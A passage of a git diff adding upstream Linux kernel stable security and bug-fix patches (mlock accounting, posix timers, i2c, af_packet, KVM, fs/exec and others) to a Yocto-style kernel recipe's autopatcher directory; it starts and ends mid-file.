decrease in race condition.patch new file mode 100644 index 0000000..f261e61 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0357-aef16f4c9831-mlock fix mlock count can not decrease in race condition.patch @@ -0,0 +1,115 @@ +From aef16f4c9831727766de1b4887ce452c3a915368 Mon Sep 17 00:00:00 2001 +From: Yisheng Xie +Date: Fri, 2 Jun 2017 14:46:43 -0700 +Subject: mlock: fix mlock count can not decrease in race condition + +commit 70feee0e1ef331b22cc51f383d532a0d043fbdcc upstream. + +Kefeng reported that when running the follow test, the mlock count in +meminfo will increase permanently: + + [1] testcase + linux:~ # cat test_mlockal + grep Mlocked /proc/meminfo + for j in `seq 0 10` + do + for i in `seq 4 15` + do + ./p_mlockall >> log & + done + sleep 0.2 + done + # wait some time to let mlock counter decrease and 5s may not enough + sleep 5 + grep Mlocked /proc/meminfo + + linux:~ # cat p_mlockall.c + #include + #include + #include + + #define SPACE_LEN 4096 + + int main(int argc, char ** argv) + { + int ret; + void *adr = malloc(SPACE_LEN); + if (!adr) + return -1; + + ret = mlockall(MCL_CURRENT | MCL_FUTURE); + printf("mlcokall ret = %d\n", ret); + + ret = munlockall(); + printf("munlcokall ret = %d\n", ret); + + free(adr); + return 0; + } + +In __munlock_pagevec() we should decrement NR_MLOCK for each page where +we clear the PageMlocked flag. Commit 1ebb7cc6a583 ("mm: munlock: batch +NR_MLOCK zone state updates") has introduced a bug where we don't +decrement NR_MLOCK for pages where we clear the flag, but fail to +isolate them from the lru list (e.g. when the pages are on some other +cpu's percpu pagevec). Since PageMlocked stays cleared, the NR_MLOCK +accounting gets permanently disrupted by this. + +Fix it by counting the number of page whose PageMlock flag is cleared. + +Fixes: 1ebb7cc6a583 (" mm: munlock: batch NR_MLOCK zone state updates") +Link: http://lkml.kernel.org/r/1495678405-54569-1-git-send-email-xieyisheng1@huawei.com +Signed-off-by: Yisheng Xie +Reported-by: Kefeng Wang +Tested-by: Kefeng Wang +Cc: Vlastimil Babka +Cc: Joern Engel +Cc: Mel Gorman +Cc: Michel Lespinasse +Cc: Hugh Dickins +Cc: Rik van Riel +Cc: Johannes Weiner +Cc: Michal Hocko +Cc: Xishi Qiu +Cc: zhongjiang +Cc: Hanjun Guo +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + mm/mlock.c | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +diff --git a/mm/mlock.c b/mm/mlock.c +index 73cf0987088c3..abf1f0f51edad 100644 +--- a/mm/mlock.c ++++ b/mm/mlock.c +@@ -333,7 +333,7 @@ static void __munlock_pagevec(struct pagevec *pvec, struct zone *zone) + { + int i; + int nr = pagevec_count(pvec); +- int delta_munlocked; ++ int delta_munlocked = -nr; + struct pagevec pvec_putback; + int pgrescued = 0; + +@@ -353,6 +353,8 @@ static void __munlock_pagevec(struct pagevec *pvec, struct zone *zone) + continue; + else + __munlock_isolation_failed(page); ++ } else { ++ delta_munlocked++; + } + + /* +@@ -364,7 +366,6 @@ static void __munlock_pagevec(struct pagevec *pvec, struct zone *zone) + pagevec_add(&pvec_putback, pvec->pages[i]); + pvec->pages[i] = NULL; + } +- delta_munlocked = -nr + pagevec_count(&pvec_putback); + __mod_zone_page_state(zone, NR_MLOCK, delta_munlocked); + spin_unlock_irq(&zone->lru_lock); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0358-2e9cbae49c5d-perfcore Fix the perfcputimemaxpercent check.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0358-2e9cbae49c5d-perfcore Fix the perfcputimemaxpercent check.patch new file mode 100644 index 0000000..216fae2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0358-2e9cbae49c5d-perfcore Fix the perfcputimemaxpercent check.patch @@ -0,0 +1,50 @@ +From 2e9cbae49c5d3e69ca04510d68ae161374e5d0a2 Mon Sep 17 00:00:00 2001 +From: Tan Xiaojun +Date: Thu, 23 Feb 2017 14:04:39 +0800 +Subject: perf/core: Fix the perf_cpu_time_max_percent check + +commit 1572e45a924f254d9570093abde46430c3172e3d upstream. + +Use "proc_dointvec_minmax" instead of "proc_dointvec" to check the input +value from user-space. + +If not, we can set a big value and some vars will overflow like +"sysctl_perf_event_sample_rate" which will cause a lot of unexpected +problems. + +Signed-off-by: Tan Xiaojun +Signed-off-by: Peter Zijlstra (Intel) +Cc: +Cc: +Cc: Alexander Shishkin +Cc: Arnaldo Carvalho de Melo +Cc: Jiri Olsa +Cc: Linus Torvalds +Cc: Peter Zijlstra +Cc: Stephane Eranian +Cc: Thomas Gleixner +Cc: Vince Weaver +Link: http://lkml.kernel.org/r/1487829879-56237-1-git-send-email-tanxiaojun@huawei.com +Signed-off-by: Ingo Molnar +Cc: Guenter Roeck +Signed-off-by: Greg Kroah-Hartman +--- + kernel/events/core.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/kernel/events/core.c b/kernel/events/core.c +index af2780655f5b..e97986c99ed7 100644 +--- a/kernel/events/core.c ++++ b/kernel/events/core.c +@@ -224,7 +224,7 @@ int perf_cpu_time_max_percent_handler(struct ctl_table *table, int write, + void __user *buffer, size_t *lenp, + loff_t *ppos) + { +- int ret = proc_dointvec(table, write, buffer, lenp, ppos); ++ int ret = proc_dointvec_minmax(table, write, buffer, lenp, ppos); + + if (ret || !write) + return ret; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0359.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0359.diff new file mode 100644 index 0000000..65a95ff --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0359.diff @@ -0,0 +1,19 @@ +diff --git a/drivers/media/platform/msm/camera_v2/fd/msm_fd_dev.c b/drivers/media/platform/msm/camera_v2/fd/msm_fd_dev.c +index 12c38795..1e99b67 100644 +--- a/drivers/media/platform/msm/camera_v2/fd/msm_fd_dev.c ++++ b/drivers/media/platform/msm/camera_v2/fd/msm_fd_dev.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2014-2016, 2018 The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -440,7 +440,7 @@ + } + + ctx->mem_pool.fd_device = ctx->fd_device; +- ctx->stats = vmalloc(sizeof(*ctx->stats) * MSM_FD_MAX_RESULT_BUFS); ++ ctx->stats = vzalloc(sizeof(*ctx->stats) * MSM_FD_MAX_RESULT_BUFS); + if (!ctx->stats) { + dev_err(device->dev, "No memory for face statistics\n"); + ret = -ENOMEM; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0360.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0360.diff new file mode 100644 index 0000000..f98f374 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0360.diff @@ -0,0 +1,31 @@ +diff --git a/sound/soc/msm/qdsp6v2/msm-lsm-client.c b/sound/soc/msm/qdsp6v2/msm-lsm-client.c +index 2b0f0a4..7a0d5d9 100644 +--- a/sound/soc/msm/qdsp6v2/msm-lsm-client.c ++++ b/sound/soc/msm/qdsp6v2/msm-lsm-client.c +@@ -1146,7 +1146,7 @@ + } + + size = sizeof(*user) + userarg32.payload_size; +- user = kmalloc(size, GFP_KERNEL); ++ user = kzalloc(size, GFP_KERNEL); + if (!user) { + dev_err(rtd->dev, + "%s: Allocation failed event status size %d\n", +@@ -1167,7 +1167,7 @@ + err = -EFAULT; + } + if (!err) { +- user32 = kmalloc(size, GFP_KERNEL); ++ user32 = kzalloc(size, GFP_KERNEL); + if (!user32) { + dev_err(rtd->dev, + "%s: Allocation event user status size %d\n", +@@ -1581,7 +1581,7 @@ + + size = sizeof(struct snd_lsm_event_status) + + userarg.payload_size; +- user = kmalloc(size, GFP_KERNEL); ++ user = kzalloc(size, GFP_KERNEL); + if (!user) { + dev_err(rtd->dev, + "%s: Allocation failed event status size %d\n", diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0361-28ef9653c185-posixtimer Properly check sigeventsigevnotify.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0361-28ef9653c185-posixtimer Properly check sigeventsigevnotify.patch new file mode 100644 index 0000000..49a5dfc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0361-28ef9653c185-posixtimer Properly check sigeventsigevnotify.patch @@ -0,0 +1,112 @@ +From 28ef9653c18539f8123dd668ad3b28289ec0514a Mon Sep 17 00:00:00 2001 +From: Thomas Gleixner +Date: Fri, 15 Dec 2017 10:32:03 +0100 +Subject: posix-timer: Properly check sigevent->sigev_notify + +commit cef31d9af908243421258f1df35a4a644604efbe upstream. + +timer_create() specifies via sigevent->sigev_notify the signal delivery for +the new timer. The valid modes are SIGEV_NONE, SIGEV_SIGNAL, SIGEV_THREAD +and (SIGEV_SIGNAL | SIGEV_THREAD_ID). + +The sanity check in good_sigevent() is only checking the valid combination +for the SIGEV_THREAD_ID bit, i.e. SIGEV_SIGNAL, but if SIGEV_THREAD_ID is +not set it accepts any random value. + +This has no real effects on the posix timer and signal delivery code, but +it affects show_timer() which handles the output of /proc/$PID/timers. That +function uses a string array to pretty print sigev_notify. The access to +that array has no bound checks, so random sigev_notify cause access beyond +the array bounds. + +Add proper checks for the valid notify modes and remove the SIGEV_THREAD_ID +masking from various code pathes as SIGEV_NONE can never be set in +combination with SIGEV_THREAD_ID. + +Reported-by: Eric Biggers +Reported-by: Dmitry Vyukov +Reported-by: Alexey Dobriyan +Signed-off-by: Thomas Gleixner +Cc: John Stultz +Signed-off-by: Greg Kroah-Hartman +--- + kernel/time/posix-timers.c | 34 +++++++++++++++++++--------------- + 1 file changed, 19 insertions(+), 15 deletions(-) + +diff --git a/kernel/time/posix-timers.c b/kernel/time/posix-timers.c +index 31ea01f42e1f0..2cca2e79c643e 100644 +--- a/kernel/time/posix-timers.c ++++ b/kernel/time/posix-timers.c +@@ -500,17 +500,22 @@ static struct pid *good_sigevent(sigevent_t * event) + { + struct task_struct *rtn = current->group_leader; + +- if ((event->sigev_notify & SIGEV_THREAD_ID ) && +- (!(rtn = find_task_by_vpid(event->sigev_notify_thread_id)) || +- !same_thread_group(rtn, current) || +- (event->sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_SIGNAL)) ++ switch (event->sigev_notify) { ++ case SIGEV_SIGNAL | SIGEV_THREAD_ID: ++ rtn = find_task_by_vpid(event->sigev_notify_thread_id); ++ if (!rtn || !same_thread_group(rtn, current)) ++ return NULL; ++ /* FALLTHRU */ ++ case SIGEV_SIGNAL: ++ case SIGEV_THREAD: ++ if (event->sigev_signo <= 0 || event->sigev_signo > SIGRTMAX) ++ return NULL; ++ /* FALLTHRU */ ++ case SIGEV_NONE: ++ return task_pid(rtn); ++ default: + return NULL; +- +- if (((event->sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_NONE) && +- ((event->sigev_signo <= 0) || (event->sigev_signo > SIGRTMAX))) +- return NULL; +- +- return task_pid(rtn); ++ } + } + + void posix_timers_register_clock(const clockid_t clock_id, +@@ -738,8 +743,7 @@ common_timer_get(struct k_itimer *timr, struct itimerspec *cur_setting) + /* interval timer ? */ + if (iv.tv64) + cur_setting->it_interval = ktime_to_timespec(iv); +- else if (!hrtimer_active(timer) && +- (timr->it_sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_NONE) ++ else if (!hrtimer_active(timer) && timr->it_sigev_notify != SIGEV_NONE) + return; + + now = timer->base->get_time(); +@@ -750,7 +754,7 @@ common_timer_get(struct k_itimer *timr, struct itimerspec *cur_setting) + * expiry is > now. + */ + if (iv.tv64 && (timr->it_requeue_pending & REQUEUE_PENDING || +- (timr->it_sigev_notify & ~SIGEV_THREAD_ID) == SIGEV_NONE)) ++ timr->it_sigev_notify == SIGEV_NONE)) + timr->it_overrun += (unsigned int) hrtimer_forward(timer, now, iv); + + remaining = ktime_sub(hrtimer_get_expires(timer), now); +@@ -760,7 +764,7 @@ common_timer_get(struct k_itimer *timr, struct itimerspec *cur_setting) + * A single shot SIGEV_NONE timer must return 0, when + * it is expired ! + */ +- if ((timr->it_sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_NONE) ++ if (timr->it_sigev_notify != SIGEV_NONE) + cur_setting->it_value.tv_nsec = 1; + } else + cur_setting->it_value = ktime_to_timespec(remaining); +@@ -858,7 +862,7 @@ common_timer_set(struct k_itimer *timr, int flags, + timr->it.real.interval = timespec_to_ktime(new_setting->it_interval); + + /* SIGEV_NONE timers are not queued ! See common_timer_get */ +- if (((timr->it_sigev_notify & ~SIGEV_THREAD_ID) == SIGEV_NONE)) { ++ if (timr->it_sigev_notify == SIGEV_NONE) { + /* Setup correct expiry time for relative timers */ + if (mode == HRTIMER_MODE_REL) { + hrtimer_add_expires(timer, timer->base->get_time()); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0362-2a6353751488-USB serial ioti fix divbyzero in settermios.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0362-2a6353751488-USB serial ioti fix divbyzero in settermios.patch new file mode 100644 index 0000000..4368617 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0362-2a6353751488-USB serial ioti fix divbyzero in settermios.patch @@ -0,0 +1,42 @@ +From 2a635375148830a2caa5716ba2bd0a223c582228 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Thu, 11 May 2017 11:41:21 +0200 +Subject: USB: serial: io_ti: fix div-by-zero in set_termios + +commit 6aeb75e6adfaed16e58780309613a578fe1ee90b upstream. + +Fix a division-by-zero in set_termios when debugging is enabled and a +high-enough speed has been requested so that the divisor value becomes +zero. + +Instead of just fixing the offending debug statement, cap the baud rate +at the base as a zero divisor value also appears to crash the firmware. + +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +Reviewed-by: Greg Kroah-Hartman +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/serial/io_ti.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/drivers/usb/serial/io_ti.c b/drivers/usb/serial/io_ti.c +index f6f6960218a73..8fe49e027365a 100644 +--- a/drivers/usb/serial/io_ti.c ++++ b/drivers/usb/serial/io_ti.c +@@ -2210,8 +2210,11 @@ static void change_port_settings(struct tty_struct *tty, + if (!baud) { + /* pick a default, any default... */ + baud = 9600; +- } else ++ } else { ++ /* Avoid a zero divisor. */ ++ baud = min(baud, 461550); + tty_encode_baud_rate(tty, baud, baud); ++ } + + edge_port->baud_rate = baud; + config->wBaudRate = (__u16)((461550L + baud/2) / baud); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0363.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0363.diff new file mode 100644 index 0000000..84699a8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0363.diff @@ -0,0 +1,36 @@ +diff --git a/net/ipv6/ip6mr.c b/net/ipv6/ip6mr.c +index beb454e..fde4ede 100644 +--- a/net/ipv6/ip6mr.c ++++ b/net/ipv6/ip6mr.c +@@ -1665,6 +1665,10 @@ + struct net *net = sock_net(sk); + struct mr6_table *mrt; + ++ if (sk->sk_type != SOCK_RAW || ++ inet_sk(sk)->inet_num != IPPROTO_ICMPV6) ++ return -EOPNOTSUPP; ++ + mrt = ip6mr_get_table(net, raw6_sk(sk)->ip6mr_table ? : RT6_TABLE_DFLT); + if (mrt == NULL) + return -ENOENT; +@@ -1676,9 +1680,6 @@ + + switch (optname) { + case MRT6_INIT: +- if (sk->sk_type != SOCK_RAW || +- inet_sk(sk)->inet_num != IPPROTO_ICMPV6) +- return -EOPNOTSUPP; + if (optlen < sizeof(int)) + return -EINVAL; + +@@ -1815,6 +1816,10 @@ + struct net *net = sock_net(sk); + struct mr6_table *mrt; + ++ if (sk->sk_type != SOCK_RAW || ++ inet_sk(sk)->inet_num != IPPROTO_ICMPV6) ++ return -EOPNOTSUPP; ++ + mrt = ip6mr_get_table(net, raw6_sk(sk)->ip6mr_table ? : RT6_TABLE_DFLT); + if (mrt == NULL) + return -ENOENT; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0364-e045c806436d-i2c coresmbus prevent stack corruption on read I2CBLOCKDATA.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0364-e045c806436d-i2c coresmbus prevent stack corruption on read I2CBLOCKDATA.patch new file mode 100644 index 0000000..2949095 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0364-e045c806436d-i2c coresmbus prevent stack corruption on read I2CBLOCKDATA.patch @@ -0,0 +1,72 @@ +From e045c806436d3202e497051d3d63a23db8e16169 Mon Sep 17 00:00:00 2001 +From: Jeremy Compostella +Date: Wed, 15 Nov 2017 12:31:44 -0700 +Subject: i2c: core-smbus: prevent stack corruption on read I2C_BLOCK_DATA + +commit 89c6efa61f5709327ecfa24bff18e57a4e80c7fa upstream. + +On a I2C_SMBUS_I2C_BLOCK_DATA read request, if data->block[0] is +greater than I2C_SMBUS_BLOCK_MAX + 1, the underlying I2C driver writes +data out of the msgbuf1 array boundary. + +It is possible from a user application to run into that issue by +calling the I2C_SMBUS ioctl with data.block[0] greater than +I2C_SMBUS_BLOCK_MAX + 1. + +This patch makes the code compliant with +Documentation/i2c/dev-interface by raising an error when the requested +size is larger than 32 bytes. + +Call Trace: + [] dump_stack+0x67/0x92 + [] panic+0xc5/0x1eb + [] ? vprintk_default+0x1f/0x30 + [] ? i2cdev_ioctl_smbus+0x303/0x320 + [] __stack_chk_fail+0x1b/0x20 + [] i2cdev_ioctl_smbus+0x303/0x320 + [] i2cdev_ioctl+0x4d/0x1e0 + [] do_vfs_ioctl+0x2ba/0x490 + [] ? security_file_ioctl+0x43/0x60 + [] SyS_ioctl+0x79/0x90 + [] entry_SYSCALL_64_fastpath+0x12/0x6a + +Signed-off-by: Jeremy Compostella +Signed-off-by: Wolfram Sang +Cc: stable@kernel.org +[connoro@google.com: 4.9 backport: adjust filename] +Signed-off-by: Connor O'Brien +Signed-off-by: Greg Kroah-Hartman +--- + drivers/i2c/i2c-core.c | 12 ++++++------ + 1 file changed, 6 insertions(+), 6 deletions(-) + +diff --git a/drivers/i2c/i2c-core.c b/drivers/i2c/i2c-core.c +index 7bd1b5cfb8d1a..bb4b76f44fc9f 100644 +--- a/drivers/i2c/i2c-core.c ++++ b/drivers/i2c/i2c-core.c +@@ -2762,16 +2762,16 @@ static s32 i2c_smbus_xfer_emulated(struct i2c_adapter *adapter, u16 addr, + the underlying bus driver */ + break; + case I2C_SMBUS_I2C_BLOCK_DATA: ++ if (data->block[0] > I2C_SMBUS_BLOCK_MAX) { ++ dev_err(&adapter->dev, "Invalid block %s size %d\n", ++ read_write == I2C_SMBUS_READ ? "read" : "write", ++ data->block[0]); ++ return -EINVAL; ++ } + if (read_write == I2C_SMBUS_READ) { + msg[1].len = data->block[0]; + } else { + msg[0].len = data->block[0] + 1; +- if (msg[0].len > I2C_SMBUS_BLOCK_MAX + 1) { +- dev_err(&adapter->dev, +- "Invalid block write size %d\n", +- data->block[0]); +- return -EINVAL; +- } + for (i = 1; i <= data->block[0]; i++) + msgbuf0[i] = data->block[i]; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0365-f9e16c238bd6-tracing Fix possible double free on failure of allocating trace.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0365-f9e16c238bd6-tracing Fix possible double free on failure of allocating trace.patch new file mode 100644 index 0000000..397e1c1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0365-f9e16c238bd6-tracing Fix possible double free on failure of allocating trace.patch @@ -0,0 +1,40 @@ +From f9e16c238bd6da1d858d50c1ab81c8431578877a Mon Sep 17 00:00:00 2001 +From: "Steven Rostedt (VMware)" +Date: Tue, 26 Dec 2017 20:07:34 -0500 +Subject: tracing: Fix possible double free on failure of allocating trace + buffer + +commit 4397f04575c44e1440ec2e49b6302785c95fd2f8 upstream. + +Jing Xia and Chunyan Zhang reported that on failing to allocate part of the +tracing buffer, memory is freed, but the pointers that point to them are not +initialized back to NULL, and later paths may try to free the freed memory +again. Jing and Chunyan fixed one of the locations that does this, but +missed a spot. + +Link: http://lkml.kernel.org/r/20171226071253.8968-1-chunyan.zhang@spreadtrum.com + +Fixes: 737223fbca3b1 ("tracing: Consolidate buffer allocation code") +Reported-by: Jing Xia +Reported-by: Chunyan Zhang +Signed-off-by: Steven Rostedt (VMware) +Signed-off-by: Greg Kroah-Hartman +--- + kernel/trace/trace.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/kernel/trace/trace.c b/kernel/trace/trace.c +index 10286ffd91121..34fb8fc15f599 100644 +--- a/kernel/trace/trace.c ++++ b/kernel/trace/trace.c +@@ -6244,6 +6244,7 @@ allocate_trace_buffer(struct trace_array *tr, struct trace_buffer *buf, int size + buf->data = alloc_percpu(struct trace_array_cpu); + if (!buf->data) { + ring_buffer_free(buf->buffer); ++ buf->buffer = NULL; + return -ENOMEM; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0366-f2ce502f8665-packet fix tpreserve race in packetsetring.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0366-f2ce502f8665-packet fix tpreserve race in packetsetring.patch new file mode 100644 index 0000000..0b238b2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0366-f2ce502f8665-packet fix tpreserve race in packetsetring.patch @@ -0,0 +1,53 @@ +From f2ce502f866556d24ebfae84673c9ef211b79906 Mon Sep 17 00:00:00 2001 +From: Willem de Bruijn +Date: Thu, 10 Aug 2017 12:41:58 -0400 +Subject: packet: fix tp_reserve race in packet_set_ring + +[ Upstream commit c27927e372f0785f3303e8fad94b85945e2c97b7 ] + +Updates to tp_reserve can race with reads of the field in +packet_set_ring. Avoid this by holding the socket lock during +updates in setsockopt PACKET_RESERVE. + +This bug was discovered by syzkaller. + +Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt") +Reported-by: Andrey Konovalov +Signed-off-by: Willem de Bruijn +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/packet/af_packet.c | 13 +++++++++---- + 1 file changed, 9 insertions(+), 4 deletions(-) + +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index eafac12b39a1..1c03d83edd7e 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -3310,14 +3310,19 @@ packet_setsockopt(struct socket *sock, int level, int optname, char __user *optv + + if (optlen != sizeof(val)) + return -EINVAL; +- if (po->rx_ring.pg_vec || po->tx_ring.pg_vec) +- return -EBUSY; + if (copy_from_user(&val, optval, sizeof(val))) + return -EFAULT; + if (val > INT_MAX) + return -EINVAL; +- po->tp_reserve = val; +- return 0; ++ lock_sock(sk); ++ if (po->rx_ring.pg_vec || po->tx_ring.pg_vec) { ++ ret = -EBUSY; ++ } else { ++ po->tp_reserve = val; ++ ret = 0; ++ } ++ release_sock(sk); ++ return ret; + } + case PACKET_LOSS: + { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0367-36ae3c0a36b7-KVM Dont accept obviously wrong gsi values via KVMIRQFD.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0367-36ae3c0a36b7-KVM Dont accept obviously wrong gsi values via KVMIRQFD.patch new file mode 100644 index 0000000..993ada2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0367-36ae3c0a36b7-KVM Dont accept obviously wrong gsi values via KVMIRQFD.patch @@ -0,0 +1,35 @@ +From 36ae3c0a36b7456432fedce38ae2f7bd3e01a563 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Jan=20H=2E=20Sch=C3=B6nherr?= +Date: Thu, 7 Sep 2017 19:02:48 +0100 +Subject: KVM: Don't accept obviously wrong gsi values via KVM_IRQFD +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +We cannot add routes for gsi values >= KVM_MAX_IRQ_ROUTES -- see +kvm_set_irq_routing(). Hence, there is no sense in accepting them +via KVM_IRQFD. Prevent them from entering the system in the first +place. + +Signed-off-by: Jan H. Schönherr +Signed-off-by: Paolo Bonzini +--- + virt/kvm/eventfd.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/virt/kvm/eventfd.c b/virt/kvm/eventfd.c +index f2ac53ab8243..c608ab495282 100644 +--- a/virt/kvm/eventfd.c ++++ b/virt/kvm/eventfd.c +@@ -565,6 +565,8 @@ kvm_irqfd(struct kvm *kvm, struct kvm_irqfd *args) + { + if (args->flags & ~(KVM_IRQFD_FLAG_DEASSIGN | KVM_IRQFD_FLAG_RESAMPLE)) + return -EINVAL; ++ if (args->gsi >= KVM_MAX_IRQ_ROUTES) ++ return -EINVAL; + + if (args->flags & KVM_IRQFD_FLAG_DEASSIGN) + return kvm_irqfd_deassign(kvm, args); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0368-f4615841767f-char lp fix possible integer overflow in lpsetup.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0368-f4615841767f-char lp fix possible integer overflow in lpsetup.patch new file mode 100644 index 0000000..286437a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0368-f4615841767f-char lp fix possible integer overflow in lpsetup.patch @@ -0,0 +1,39 @@ +From f4615841767ff7908599e643f587078670a390c9 Mon Sep 17 00:00:00 2001 +From: Willy Tarreau +Date: Tue, 16 May 2017 19:18:55 +0200 +Subject: char: lp: fix possible integer overflow in lp_setup() + +commit 3e21f4af170bebf47c187c1ff8bf155583c9f3b1 upstream. + +The lp_setup() code doesn't apply any bounds checking when passing +"lp=none", and only in this case, resulting in an overflow of the +parport_nr[] array. All versions in Git history are affected. + +Reported-By: Roee Hay +Cc: Ben Hutchings +Signed-off-by: Willy Tarreau +Signed-off-by: Greg Kroah-Hartman +--- + drivers/char/lp.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/char/lp.c b/drivers/char/lp.c +index c4094c4e22c1..34ef474a3923 100644 +--- a/drivers/char/lp.c ++++ b/drivers/char/lp.c +@@ -859,7 +859,11 @@ static int __init lp_setup (char *str) + } else if (!strcmp(str, "auto")) { + parport_nr[0] = LP_PARPORT_AUTO; + } else if (!strcmp(str, "none")) { +- parport_nr[parport_ptr++] = LP_PARPORT_NONE; ++ if (parport_ptr < LP_NO) ++ parport_nr[parport_ptr++] = LP_PARPORT_NONE; ++ else ++ printk(KERN_INFO "lp: too many ports, %s ignored.\n", ++ str); + } else if (!strcmp(str, "reset")) { + reset = 1; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0369-2dff2164d171-fsexecc account for argvenvp pointers.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0369-2dff2164d171-fsexecc account for argvenvp pointers.patch new file mode 100644 index 0000000..25d615d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0369-2dff2164d171-fsexecc account for argvenvp pointers.patch @@ -0,0 +1,91 @@ +From 2dff2164d171e9c27f2f7fa778d408ecf4d1e1ea Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Fri, 23 Jun 2017 15:08:57 -0700 +Subject: fs/exec.c: account for argv/envp pointers + +commit 98da7d08850fb8bdeb395d6368ed15753304aa0c upstream. + +When limiting the argv/envp strings during exec to 1/4 of the stack limit, +the storage of the pointers to the strings was not included. This means +that an exec with huge numbers of tiny strings could eat 1/4 of the stack +limit in strings and then additional space would be later used by the +pointers to the strings. + +For example, on 32-bit with a 8MB stack rlimit, an exec with 1677721 +single-byte strings would consume less than 2MB of stack, the max (8MB / +4) amount allowed, but the pointers to the strings would consume the +remaining additional stack space (1677721 * 4 == 6710884). + +The result (1677721 + 6710884 == 8388605) would exhaust stack space +entirely. Controlling this stack exhaustion could result in +pathological behavior in setuid binaries (CVE-2017-1000365). + +[akpm@linux-foundation.org: additional commenting from Kees] +Fixes: b6a2fea39318 ("mm: variable length argument support") +Link: http://lkml.kernel.org/r/20170622001720.GA32173@beast +Signed-off-by: Kees Cook +Acked-by: Rik van Riel +Acked-by: Michal Hocko +Cc: Alexander Viro +Cc: Qualys Security Advisory +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + fs/exec.c | 28 ++++++++++++++++++++++++---- + 1 file changed, 24 insertions(+), 4 deletions(-) + +diff --git a/fs/exec.c b/fs/exec.c +index fe9ec45685a57..6fa04b3170eea 100644 +--- a/fs/exec.c ++++ b/fs/exec.c +@@ -199,8 +199,26 @@ static struct page *get_arg_page(struct linux_binprm *bprm, unsigned long pos, + + if (write) { + unsigned long size = bprm->vma->vm_end - bprm->vma->vm_start; ++ unsigned long ptr_size; + struct rlimit *rlim; + ++ /* ++ * Since the stack will hold pointers to the strings, we ++ * must account for them as well. ++ * ++ * The size calculation is the entire vma while each arg page is ++ * built, so each time we get here it's calculating how far it ++ * is currently (rather than each call being just the newly ++ * added size from the arg page). As a result, we need to ++ * always add the entire size of the pointers, so that on the ++ * last call to get_arg_page() we'll actually have the entire ++ * correct size. ++ */ ++ ptr_size = (bprm->argc + bprm->envc) * sizeof(void *); ++ if (ptr_size > ULONG_MAX - size) ++ goto fail; ++ size += ptr_size; ++ + 